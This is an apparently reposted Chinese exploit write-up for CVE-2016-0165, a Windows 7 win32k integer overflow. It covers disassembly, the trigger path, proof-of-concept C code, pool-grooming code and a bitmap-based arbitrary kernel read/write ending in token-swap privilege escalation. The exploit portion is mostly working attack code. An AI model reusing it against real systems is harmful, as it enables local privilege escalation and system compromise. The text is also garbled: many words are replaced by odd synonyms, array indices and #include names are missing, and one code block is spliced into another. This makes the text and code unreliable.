求内推,明年毕业
CVE-2016-0165 是一个典型的整数上溢漏洞,由于在 win32k!RGNMEMOBJ::vCreate 函数中分配内核池内存块前没有对盘算的内存块大小参数进行溢出校验,导致函数有分配到远小于所期望大小的内存块的可能性。而函数本身并未对分配的内存块大小进行必要的校验,在后续通过该内存块作为缓冲区存储数据时,将会触发缓冲区溢出访问的 OOB 问题,严峻情况将导致体系 BSOD 的发生。
配置漏洞触发环境
[+] win7 x86 sp1[+] windbg preview 1.0.2001.02001
漏洞原理
定位漏洞
通过Bindiff可以看出,在RGNMEMOBJ::vCreate函数中,当调用ExAllocatePoolWithTag函数分配内存之前,增加了对ULongAdd函数和ULongLongToULong函数的调用。这两个函数在运算时假如发现运算数值超过了ULONG整数的范围就会返回ERROR_ARITHMETIC_OVERFLOW错误码,所以这两个函数通常用来防止发生整数溢出,在这里,这两个函数用来防止ExAllocatePoolWithTag函数的参数NumberOfBytes的整数溢出。
接着我们追踪一下这个参数NumberOfBytes到底是从哪里来,到哪里去,方便我们更加深入的了解这个漏洞。
.text:BF876200 ; ---------------------------------------------------------------------------.text:BF876200.text:BF876200 loc_BF876200: ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+A0↑j.text:BF876200 lea eax, [ebp+NumberOfBytes].text:BF876203 push eax ; unsigned int *.text:BF876204 xor edi, edi.text:BF876206 inc edi.text:BF876207 push edi ; unsigned int.text:BF876208 push [ebp+NumberOfBytes] ; unsigned int.text:BF87620B call ?ULongAdd@@YGJKKPAK@Z ; [ebp+NumberOfBytes] = [ebp+NumberOfBytes] + 1.text:BF876210 test eax, eax.text:BF876212 jl loc_BF8763D2.text:BF876218 mov eax, [ebp+NumberOfBytes] ; eax为被乘数.text:BF87621B push 28h.text:BF87621D pop ecx ; ecx为乘数.text:BF87621E mul ecx ; mul reg32 的答案生存在edx:eax之中.text:BF876220 lea ecx, [ebp+NumberOfBytes].text:BF876223 push ecx ; unsigned int *.text:BF876224 push edx.text:BF876225 push eax ; 效果生存在[ebp+NumberOfBytes]中.text:BF876226 call _ULongLongToULong@12 ; ULongLongToULong(x,x,x).text:BF87622B test eax, eax.text:BF87622D jl loc_BF8763D2.text:BF876233 cmp [ebp+NumberOfBytes], 0.text:BF876237 jz short loc_BF87624E.text:BF876239 push 67646547h ; Tag.text:BF87623E push [ebp+NumberOfBytes] ; NumberOfBytes.text:BF876241 push 21h ; PoolType.text:BF876243 call ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x).text:BF876249 mov [ebp+P], eax.text:BF87624C jmp short loc_BF876252.text:BF87624E ; ---------------------------------------------------------------------------这段代码共同注释应该很容易看明白,参数NumberOfBytes在传入函数ExAllocatePoolWithTag之前,经历了如下的运算过程:
[ebp+NumberOfBytes] = ([ebp+NumberOfBytes] + 1) * 0x28即函数ExAllocatePoolWithTag申请的内存大小为(x + 1) * 0x28,对x往前追溯可以发现x来自于函数ExAllocatePoolWithTag的第二个参数EPATHOBJ+4偏移地址的域
.text:BF87615C mov esi, [ebp+arg_0](省略无关内容).text:BF876189 mov eax, [esi+4].text:BF87618C mov [ebp+NumberOfBytes], eax在MSDN可以找到PATHOBJ的结构
typedef struct _PATHOBJ { FLONG fl; ULONG cCurves;} PATHOBJ;+4偏移地址是被定义为ULONG cCurves的成员变量
cCurvesThe number of lines and Bezier curves that make up the path.该变量表示当前PATHOBJ对象的曲线数量。也就是说(曲线数量 + 1) * 0x28可以造成整数溢出,使得分配一个远小于目标大小的内存。这里可以看看未修补的素人版本,功能是同等的:
.text:BF873FEA ; ---------------------------------------------------------------------------.text:BF873FEA.text:BF873FEA loc_BF873FEA: ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+A2↑j.text:BF873FEA lea eax, [ecx+1] ; ULONG cCurves.text:BF873FED imul eax, 28h.text:BF873FF0 test eax, eax.text:BF873FF2 jz short loc_BF87400A.text:BF873FF4 push 6E677247h ; Tag.text:BF873FF9 push eax ; NumberOfBytes.text:BF873FFA push 21h ; PoolType.text:BF873FFC call ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x).text:BF874002 mov edx, [ebp+arg_8].text:BF874005 mov [ebp+P], eax.text:BF874008 jmp short loc_BF87400E.text:BF87400A ; ---------------------------------------------------------------------------接着往后跟进,查看一下申请出来的这块内存会被怎样利用
.text:BF8740D4 loc_BF8740D4: ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+18C↑j.text:BF8740D4 push [ebp+arg_8] ; struct _RECTL *.text:BF8740D7 mov [eax+10h], esi.text:BF8740DA mov eax, [ebx].text:BF8740DC push [ebp+P] ; struct EDGE * ; [ebp+P]生存的就是ExAllocatePoolWithTag申请的内存.text:BF8740DF mov dword ptr [eax+30h], 48h.text:BF8740E6 mov eax, [ebx].text:BF8740E8 mov [eax+18h], ecx.text:BF8740EB mov eax, [ebx].text:BF8740ED mov [eax+14h], ecx.text:BF8740F0 mov eax, [ebx].text:BF8740F2 mov [eax+34h], ecx.text:BF8740F5 mov eax, [ebx].text:BF8740F7 lea ecx, [eax+48h].text:BF8740FA mov [eax+1Ch], ecx.text:BF8740FD mov eax, [ebx].text:BF8740FF add eax, 20h.text:BF874102 mov [eax+4], eax.text:BF874105 mov [eax], eax.text:BF874107 lea eax, [ebp+var_68].text:BF87410A push eax ; struct EDGE *.text:BF87410B push [ebp+arg_0] ; struct EPATHOBJ *.text:BF87410E call ?vConstructGET@@YGXAAVEPATHOBJ@@PAVEDGE@@1PAU_RECTL@@@Z ; vConstructGET(EPATHOBJ &,EDGE *,EDGE *,_RECTL *)函数ExAllocatePoolWithTag申请的内存被当作函数vConstructGET的第三个参数,作为struct EDGE *类型的指针参数传入的。关于EDGE是什么东西,我们可以在windows的源码中找到
class EDGE{public: PEDGE pNext; LONG lScansLeft; LONG X; LONG Y; LONG lErrorTerm; LONG lErrorAdjustUp; LONG lErrorAdjustDown; LONG lXWhole; LONG lXDirection; LONG lWindingDirection;};这个结构用来描述将要填充的路径中的单个非水平边。在我们的实验环境中,该结构的大小为40,即0x28。看看函数vConstructGET干了些什么。
VOID vConstructGET(EPATHOBJ& po, EDGE *pGETHead, EDGE *pFreeEdges,RECTL *pBound){// Create an empty GET with the head node also a tail sentinel pGETHead->pNext = pGETHead; // mark that the GET is empty pGETHead->Y = 0x7FFFFFFF; // this is greater than any valid Y value, so // searches will always terminate PPATH ppath = po.ppath; for (PATHRECORD *ppr = ppath->pprfirst; ppr != (PPATHREC) NULL; ppr = ppr->pprnext) { // If first point starts a subpath, remember it as such // and go on to the next point, so we can get an edge. PPOINTFIX pptfxStart, pptfxEnd, pptfxPrev, pptfx; pptfx = ppr->aptfx; if (ppr->flags & PD_BEGINSUBPATH) { pptfxStart = ppr->aptfx; // the subpath starts here pptfxPrev = ppr->aptfx; // this points starts next edge pptfx++; // advance to the next point } // Add edges in PATH to GET, in Y-X sorted order. pptfxEnd = ppr->aptfx + ppr->count; while (pptfx < pptfxEnd) { pFreeEdges = AddEdgeToGET(pGETHead, pFreeEdges,pptfxPrev,pptfx,pBound); pptfxPrev = pptfx; pptfx++; // advance to the next point } // If last point ends the subpath, insert the edge that // connects to first point. if (ppr->flags & PD_ENDSUBPATH) { pFreeEdges = AddEdgeToGET(pGETHead, pFreeEdges,pptfxPrev, pptfxStart,pBound); } }}函数ExAllocatePoolWithTag申请的内存pFreeEdges又一次被当作参数传入函数vConstructGET,函数vConstructGET循环调用函数AddEdgeToGET来将两个点描述的边加入到GET表中,并将数据写入pFreeEdges参数指向的EDGE结构体,末了将下一个EDGE元素地址作为返回值返回。
pFreeEdge->pNext = pGETHead->pNext; // link the edge into the GET pGETHead->pNext = pFreeEdge; return(++pFreeEdge);由于函数ExAllocatePoolWithTag申请的内存大小发生了整数溢出,导致这块内存的大小远小于我们的预期,之后进行大量写入操作的时间,将会造成OOB覆盖其他内容,从而导致体系BSOD的触发。
触发路径
win32k中的许多函数都会调用RGNMEMOBJ::vCreate函数,再从中选取一个可以控制申请内存大小的函数来抵达漏洞,这里我们选择NtPathToRegion函数:
DCOBJ::DCOBJ((DCOBJ *)&v9, a1); ...... XEPATHOBJ::XEPATHOBJ((XEPATHOBJ *)&v7, (struct XDCOBJ *)&v9); if ( v8 ) { v4 = *(_BYTE *)(*(_DWORD *)(v9 + 56) + 58); v11 = 0; RGNMEMOBJ::vCreate((RGNMEMOBJ *)&v10, (struct EPATHOBJ *)&v7, v4, 0); if ( v10 ) { v5 = HmgInsertObject(v10, 0, 4); if ( !v5 ) RGNOBJ::vDeleteRGNOBJ((RGNOBJ *)&v10); } else { v5 = 0; } ......该函数用于根据被选择在 DC 对象中的路径 PATH 对象创建地区 REGION 对象,生成的地区将利用设备坐标,唯一的参数 HDC a1 是指向某个设备上下文 DC 对象的句柄。由于地区的转换需要闭合的图形,所以在函数中执行转换之前,函数会将 PATH 中全部未闭合的图形闭合。在乐成执行从路径到地区的转换操作之后,体系将释放目标 DC 对象中的闭合路径。别的该函数可在用户态进程中通过 gdi32.dll 中的导出函数在用户进程中进行直接调用,这给路径追踪带来便利。
XEPATHOBJ v7被作为第二个参数传递给RGNMEMOBJ::vCreate函数,XEPATHOBJ v7早已经在自身的XEPATHOBJ::XEPATHOBJ构造函数中依据用户对象DCOBJ v9进行初始化,而DCOBJ v9也早在DCOBJ::DCOBJ构造函数中依据NtPathToRegion函数的唯一参数HDC a1进行了初始化。
DCOBJ *__thiscall DCOBJ::DCOBJ(DCOBJ *this, HDC a2){ DCOBJ *v2; // esi v2 = this; *(_DWORD *)this = 0; *((_DWORD *)this + 1) = 0; *((_DWORD *)this + 2) = 0; XDCOBJ::vLock(this, a2); return v2;}出乎意料,这个函数的构造其实很简单,根据句柄参数 HDC a2 获取该句柄指向的设备上下文 DC 对象指针并存储在 this 的第 1 个成员变量中(即 PDC pdc 成员),以使当前 DCOBJ 对象成为目标 DC 对象的用户对象。
- XEPATHOBJ::XEPATHOBJ构造函数
XEPATHOBJ::XEPATHOBJ(HPATH hPath){ppath = (PPATH)HmgShareLock((HOBJ) hPath, PATH_TYPE);if (ppath != (PATH*) NULL){ // Load up accelerator values: cCurves = ppath->cCurves; fl = ppath->fl;}return;}
此函数首先调用HmgShareLock函数并传入hPath句柄和PATH_TYPE类型对句柄指向的PATH对象增加共享计数并返回对象指针,以使当前 XEPATHOBJ 对象成为目标 PATH 对象的用户对象。之后对cCurves赋值,没错,就是前面那个导致了溢出的cCurves。
至此,我们揪出了cCurves的来源,就是参数HDC a1句柄控制的,也就是说,我们只要控制了HDC a1句柄,就可以在 ExAllocatePoolWithTag 函数进行恣意大小的的内存分配。
漏洞触发
虽然刚刚狂言不惭的说了要控制HDC a1句柄,但也没那么简单,我们要考虑详细怎样操作。这里我们利用PolylineTo 函数,该函数用于向 HDC hdc 句柄指向的 DC 对象中绘制一条或多条直线:
BOOL __stdcall PolylineTo(HDC hdc, const POINT *apt, DWORD cpt){ ...... return NtGdiPolyPolyDraw(hdc, apt, &cpt, 1, 4);}
PolylineTo 函数最终调用NtGdiPolyPolyDraw体系调用:
函数 NtGdiPolyPolyDraw 用于绘制一个或多个多边形、折线,也可以绘制由一条或多条直线段、贝塞尔曲线段组成的折线等;其第 4 个参数 ccpt 用于在绘制一系列的多边形或折线时指定多边形或折线的个数,假如绘制的是线条(不管是直线照旧贝塞尔曲线)该值都需要设置为 1;第 5 个参数 iFunc 用于指定绘制图形类型,设置为 4 表示绘制直线。
cpt = 0;for ( i = 0; ; ++i ){ v13 = cpt; if ( i >= ccpt ) break; cpt += *(Dst + i);}if ( cpt > 0x4E2000 ) goto LABEL_56;NtGdiPolyPolyDraw函数规定了调用时的线条总数量,不能大于 0x4E2000,否则直接返回失败。
switch ( iFunc ) { case 1: v11 = GrePolyPolygon(hdc, v7, Dst, ccpt, cpt); break; case 2: v11 = GrePolyPolyline(hdc, v7, Dst, ccpt, cpt); break; case 3: v11 = GrePolyBezier(hdc, v7, ulCount); break; case 4: v11 = GrePolylineTo(hdc, v7, ulCount); break; case 5: v11 = GrePolyBezierTo(hdc, v7, ulCount); break; case 6: v11 = GreCreatePolyPolygonRgnInternal(v7, Dst, ccpt, hdc, cpt); break; default: v18 = 0; goto LABEL_47;根据参数iFunc的值进入差别的绘制例程。在PolylineTo 函数中,iFunc的值为4,那么将会调用GrePolylineTo 函数,传入 GrePolylineTo 函数的第 3 个参数 ulCount 是稍早时赋值的本次需要绘制线条的数量,数值来源于从 PolylineTo 函数传入的 cpt 变量。
DCOBJ::DCOBJ(&v12, a1); ...... EXFORMOBJ::vQuickInit(&v11, &v12, 0x204u); v8 = 1; PATHSTACKOBJ::PATHSTACKOBJ(&v13, &v12, 1); if ( !v14 ) { EngSetLastError(8);LABEL_12: PATHSTACKOBJ::~PATHSTACKOBJ(&v13); v6 = 0; goto LABEL_9; } if ( !EPATHOBJ::bPolyLineTo(&v13, &v11, a2, ulCount) ) goto LABEL_12; v9 = EPATHOBJ::ptfxGetCurrent(&v13, &v10); DC::vCurrentPosition(v12, &a2[a3 - 1], v9);GrePolylineTo 函数首先根据 HDC a1 参数初始化 DCOBJ v12 用户对象,接下来定义了 PATHSTACKOBJ v13 用户对象。函数中调用 PATHSTACKOBJ::PATHSTACKOBJ 构造函数对 v13 对象进行初始化,并在初始化乐成后调用成员函数 EPATHOBJ::bPolyLineTo 执行绘制操作。
int __thiscall EPATHOBJ::bPolyLineTo(EPATHOBJ *this, struct EXFORMOBJ *a2, struct _POINTL *a3, unsigned int ulCount){ EPATHOBJ *v4; // esi int result; // eax int v6; // [esp+4h] [ebp-Ch] unsigned int v7; // [esp+8h] [ebp-8h] struct _POINTL *v8; // [esp+Ch] [ebp-4h] v4 = this; if ( !*(this + 2) ) return 0; v6 = 0; v8 = a3; v7 = ulCount; result = EPATHOBJ::addpoints(this, a2, &v6); if ( result ) *(v4 + 1) += ulCount; return result;}EPATHOBJ::bPolyLineTo 执行详细的从 DC 对象的当前位置点到指定点的画线操作,通过调用 EPATHOBJ::addpoints 执行将目标的点添加到路径中的详细操作。执行乐成后,将参数 ulCount 的值增加到成员变量 cCurves 中。
现在我们知道控制PolylineTo(HDC hdc, const POINT *apt, DWORD cpt)的cpt变量就可以在 ExAllocatePoolWithTag 函数进行恣意大小的的内存分配,但离完整的poc还有点隔断,接着构造poc。
poc构造
由于是32位体系,所以ULONG的值最大为0xFFFFFFFF,而发生溢出时的参数为NumberOfBytes = 0x28 * (v6 + 1),所以我们需要构造0x28 * (v6 + 1)>0xFFFFFFFF来实现整数溢出,解不等式可得v6 > 0x‭6666665‬ 。但是cCurves在RGNMEMOBJ::vCreate 函数的开始位置调用的 EPATHOBJ::vCloseAllFigure 成员函数中会被修改,详细代码如下:
VOID EPATHOBJ::vCloseAllFigures(){ PPATHREC ppr = ppath->pprfirst; while (ppr != (PPATHREC) NULL) { if (ppr->flags & PD_ENDSUBPATH) { if (!(ppr->flags & PD_CLOSEFIGURE)) { ppr->flags |= PD_CLOSEFIGURE; cCurves++; } } ppr = ppr->pprnext; }}此函数遍历PPATHREC列表,并将全部未处于闭合状态的记录项设置为闭合状态,即将末尾的坐标点和起始的坐标点进行连接,所以会使得cCurves的值增加1。也就是说,我们只要告竣v6 > 0x‭6666664‬就可以造成整数溢出了。但是NtGdiPolyPolyDraw体系调用绘制的数量不能超过0x4E2000,否则就会直接返回失败,所以我们需要多次调用来到达溢出。完整代码如下:
#include #include #include CONST LONG maxCount = 0x6666665;CONST LONG maxLimit = 0x4E2000;static POINT point[maxCount] = { 0 };int main(int argc, char* argv[]){ BOOL ret = FALSE; for (LONG i = 0; i < maxCount; i++) { point.x = i + 1; point.y = i + 2; } HDC hdc = GetDC(NULL); // get dc of desktop hwnd BeginPath(hdc); // activate the path for (LONG i = maxCount; i > 0; i -= min(maxLimit, i)) { ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i)); } EndPath(hdc); // deactivate the path HRGN hRgn = PathToRegion(hdc); return 0;}虽然我们预想的很好,但是触发BSOD的几率非常低,由于覆盖后续内存的操作本身不会出错,错误其实是发生在后续释放或取内存的时间,而我们又不能保证后续内存存储的是什么东西,所以触发全靠运气,我在本地试了很多多少次都没有触发,不过可以借助Windbg来查看,确实是分配了一块0x18大小的内存。
漏洞利用
内核内存布局
虽然我们的poc触发乐成率不高,但它确实粉碎了后续堆块的POOL_HEADER结构,导致释放内存块时校验POOL_HEADER结构,从而触发BSOD。但假如我们提前进行堆布局,使得RGNMEMOBJ::vCreate函数分配的内存位于所在内存页的末尾,那么在释放的时间就不会对相邻内存块进行校验,这样虽然仍旧进行了OOB,但并不会触发崩溃。
#include #include #include CONST LONG maxCount = 0x6666667;CONST LONG maxLimit = 0x4E2000;static POINT point[maxCount] = { 0 };CONST LONG maxTimes = 5000;CONST LONG tmpTimes = 7000;static HBITMAP hbitmap[maxTimes] = { NULL };static HACCEL hacctab[tmpTimes] = { NULL };int main(int argc, char* argv[]){ for (LONG i = 0; i < 5000; i++) { hbitmap = CreateBitmap(0xE34, 0x01, 1, 8, NULL); } for (LONG i = 0; i < 7000; i++) { ACCEL acckey[0x0D] = { 0 }; hacctab = CreateAcceleratorTableA(acckey, 0x0D); } for (LONG i = 2000; i < 4000; i++) { DestroyAcceleratorTable(hacctab); hacctab = NULL; } DebugBreak(); BOOL ret = FALSE; for (LONG i = 0; i < maxCount; i++) { point.x = i + 1; point.y = i + 2; } HDC hdc = GetDC(NULL); // get dc of desktop hwnd BeginPath(hdc); // activate the path for (LONG i = maxCount; i > 0; i -= min(maxLimit, i)) { ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i)); } EndPath(hdc); // deactivate the path HRGN hRgn = PathToRegion(hdc); return 0;}由于0x18字节不方便占位,所以我们稍微提高画线数量为0x6666667,使得分配0x68大小的内存,加上0x8字节的POOL_HEADER就是0x70字节。我们先调用CreateBitmap 函数申请大量的0xF90 大小的内存块,以留下足够多的 0x70 字节间隙作为 RGNMEMOBJ::vCreate函数分配 0x70 字节内存块时的空间候选。但是由于SURFACE结构本身就要占用0x154字节,所以利用 CreateAcceleratorTable 函数。通过调用比 CreateBitmap 更多次数的 CreateAcceleratorTableA 函数创建 AcceleratorTable 内查对象以填充内存空隙、然后在其中制造空洞的方式,为使 RGNMEMOBJ::vCreate 分配的内存块能够命中我们安排的空洞提拔更大的概率。随后通过 DestroyAcceleratorTable 函数释放掉中间一部分 AcceleratorTable 对象,为 RGNMEMOBJ::vCreate 函数留下足够多的机会。
现在,RGNMEMOBJ::vCreate 函数分配的内存块乐成命中在我们安排的内存间隙中,其相邻的内存页也都符合我们先前构造的内存布局。
溢出覆盖内存块
由于创建的线条实在太多,会进行很大范围的内存访问,不利于后续操作,我们需要限制AddEdgeToGET 函数的访问范围。
if ( pClipRect ) { if ( iYEnd < pClipRect->top || iYStart > pClipRect->bottom ) return pFreeEdge; if ( iYStart < pClipRect->top ) { bClip = 1; iYStart = pClipRect->top; } if ( iYEnd > pClipRect->bottom ) iYEnd = pClipRect->bottom; } ipFreeEdge_Y = (iYStart + 15) >> 4; *((_DWORD *)pFreeEdge + 3) = ipFreeEdge_Y; *((_DWORD *)pFreeEdge + 1) = ((iYEnd + 15) >> 4) - ipFreeEdge_Y; if ( ((iYEnd + 15) >> 4) - ipFreeEdge_Y 0; i -= min(maxLimit, i)) { ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i)); } ret = EndPath(hdc); // 0xF90+0x70=0x1000 for (LONG i = 0; i < 4000; i++) { // 0xE34+0x154+8=0xF90 hbitmap = CreateBitmap(0xE34, 0x01, 1, 8, NULL); } for (LONG i = 0; i < 5500; i++) { ACCEL acckey[0x0D] = { 0 }; // 0x0D*6+0x12+4+8~0x70 hacctab = CreateAcceleratorTableA(acckey, 0x0D); } for (LONG i = 0; i < 4000; i++) { // free original bitmaps ret = DeleteObject(hbitmap); hbitmap = NULL; } // 0xB70+0x420=0xF90 for (LONG i = 0; i < 4000; i++) { // create shim clipdatas // 0xB5C+0xC+8=0xB70 CreateClipboard(0xB5C); } for (LONG i = 0; i < 4000; i++) { // create usable bitmaps // 0xB1*0x01*4+0x154+8=0x420 hbitmap = CreateBitmap(0x01, 0xB1, 1, 32, NULL); } for (LONG i = 2000; i < 4000; i++) { // dig hole to place edge buffer ret = DestroyAcceleratorTable(hacctab); hacctab = NULL; } DebugBreak(); PathToRegion(hdc); return 0;}接着我们跟进一下看看内存到底有没有被乐成覆盖
成员sizlBitmap.cy 被覆盖成 0xFFFFFFFF,而 pvScan0 成员的值并未被污染,我们就可以利用该 sizlBitmap.cy 成员值的广阔范围,将当前位图 SURFACE 对象作为主控位图对象,通过其对位于下一内存页中的位图 SURFACE 对象进行操作,将其作为扩展位图 SURFACE 对象,覆盖其 pvScan0 指针为我们想读写的地址,随后再通过 API 函数操作扩展位图 SURFACE 对象,实现“指哪打哪”的目标。
定位位图句柄
pBmpHunted = (PDWORD)malloc(0x1000); // memory stubLONG index = -1;POCDEBUG_BREAK();for (LONG i = 0; i < 4000; i++){ if (GetBitmapBits(hbitmap, 0x1000, pBmpHunted) > 0x2D0) { index = i; break; }}hbmpmain = hbitmap[index];我们通过循环调用 GetBitmapBits 函数遍历位图句柄数组以定位被覆盖数据的位图 SURFACE 对象的句柄,获取 0x1000 字节的一整个内存页大小的位图数据。大部分配有被覆盖数据的位图 SURFACE 对象的像素点数据地区大小仍旧是原来的 0xB1*0x01*4=0x2C4 字节大小,所以返回值只可能是不超过 0x2C4 的数值;而针对被我们覆盖数据的主控位图 SURFACE 对象而言,由于 sizlBitmap 成员的值被覆盖成 0x01 和 0xFFFFFFFF 数值,所以在盘算位图像素点数据“现实大小”时,盘算出来的效果是 0x(3)FFFFFFFC,这是一个发生溢出的数值,高于 32 位的数据被舍弃。这样的话,当遍历到主控位图对象的句柄时,函数的返回值将必然是比 0x2D0 大的数,因此得以命中。命中乐成后 pBmpHunted 缓冲区中就存储了从当前位图对象的位图像素点数据地区起始地址开始的 0x1000 字节范围的内存数据。
BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb){ LONG ret = 0; pBmpHunted[iExtpScan0] = addr; ret = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted); if (ret < 0x1000) { return FALSE; } ret = SetBitmapBits(hBmpExtend, cb, pvBits); if (ret < (LONG)cb) { return FALSE; } return TRUE;}接着定位拓展位图对象,由于在句柄表中二者不一定相邻,所以我们可以讲拓展位图的大小修改,再通过上面的办法来遍历拓展位图的句柄。接着通过主控位图 SURFACE 对象控制扩展位图 SURFACE 对象的 SURFACE->so.pvScan0 成员域的值,这样一来只要将扩展位图 SURFACE 对象的 SURFACE->so.pvScan0 成员域修改为恣意内核地址,便可轻松实现对内核恣意地址的读写,“指哪打哪”的目标就实现了。
提权
这一部分就大同小异了,直接替换Token就好。至此,我们乐成实现了提权。
参考文章
https://xiaodaozhi.com/exploit/56.html
https://www.anquanke.com/post/id/93105
来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |